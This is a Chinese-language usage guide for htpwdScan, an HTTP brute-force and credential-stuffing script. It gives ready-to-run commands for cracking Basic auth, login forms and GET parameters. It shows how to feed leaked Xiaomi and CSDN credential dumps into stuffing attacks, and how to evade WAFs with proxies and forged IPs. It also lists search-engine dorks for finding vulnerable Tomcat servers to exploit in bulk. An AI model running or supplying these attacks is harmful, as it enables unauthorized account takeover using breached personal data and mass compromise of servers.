htpwdScan 是一个简单的HTTP暴力破解、撞库攻击脚本. 它的特性:
支持批量校验并导入HTTP代理,低频撞库可以成功攻击大部分网站,绕过大部分防御策略和waf
支持直接导入互联网上泄露的社工库,发起撞库攻击
支持导入超大字典
简单示例
HTTP Basic认证
htpwdScan.py -u=http://auth.58.com/ -basic user.txt password.txt
导入用户名密码字典即可
表单破解
htpwdScan.py -f post2.txt -d user=user.txt passwd=password.txt -err="success\":false"
从 post2.txt 导入抓的http包,user和passwd是需要破解的参数,而 user.txt password.txt 是保存了密码的字典文件
success":false 是选择的失败标记,标记中若有双引号,请记得用右斜杠 \ 转义
GET参数破解
htpwdScan.py -d passwd=password.txt -u="http://xxx.com/index.php?m=login&username=test&passwd=test" -get -err="success\":false"
使用-get参数告诉脚本此处是GET请求
撞库攻击
htpwdScan.py -f=post.txt -database loginname,passwd=xiaomi.txt -regex="(\S+)\s+(\S+)" -err="用户名或密码错误" -fip
htpwdScan.py -f=post.txt -database passwd,loginname=csdn.net.sql -regex="\S+ # (\S+) # (\S+)" -err="用户名或密码错误" -fip
使用小米和csdn库发起撞库攻击。post.txt是抓包的HTTP请求
参数-regex设定从文件提取参数的正则表达式,此处需分组,分组的方式是使用括号()
小米的数据行格式是 xxx@163.com xxxxxxx 也即 (用户名)空白字符(密码)
(\S+)\s+(\S+) 可指定第一个非空白字符拿去填充loginname,而第二个非空白字符串拿去填充passwd
csdn的数据行格式是zdg # 12344321 # zdg@csdn.net . 正则表达式写作\S+ # (\S+) # (\S+)
第一个#后面的非空白字符串填充passwd,第二个#后面的非空白字符串填充loginname
请注意,参数的顺序是重要的
-fip 是启用伪造随机IP
校验HTTP代理
htpwdScan.py -f=post.txt -proxylist=proxies.txt -checkproxy -suc="用户名或密码错误"
要破解某个网站,批量测试使用代理是否连通目标网站,把HTTP请求保存到post.txt,然后用-suc参数设定连通标记
一个简单可行的校验方式是:
htpwdScan.py -u=http://www.baidu.com -get -proxylist=available.txt -checkproxy -suc="百度一下"
完整参数说明
脚本支持的小功能较多,请耐心阅读以下完整说明。建议多使用 -debug 参数查看HTTP请求是否有问题,没问题再发起真正的破解。
用法:
htpwdScan.py -basic users.dic pass.dic -u=http://www.test.com/need-auth-url/
-basic 后指定用户名和密码字典
-u指定URL,通常无需从文件导入HTTP请求
破解成功的序列输出类似:
403[Basic Auth] tomcat:tomcat http://www.gedn.com/manager/html
介绍一个批量利用Tomcat的小技巧:
在搜索引擎中搜索如下关键词,可以找到大量老版本Tomcat:
intitle:"Apache Tomcat" intext:"Thanks for using Tomcat!"
对于较新版本,则使用如下关键词:
intitle:"Apache Tomcat/7.0.42"
为了匹配更多的7.0版本,考虑使用:
intitle:Apache Tomcat/7.0.
"Apache Software Foundation." intitle:Apache Tomcat/7.0
关于关键词的组合,不再详细介绍。 试用新的功能:https://github.com/lijiejie/htpwdScan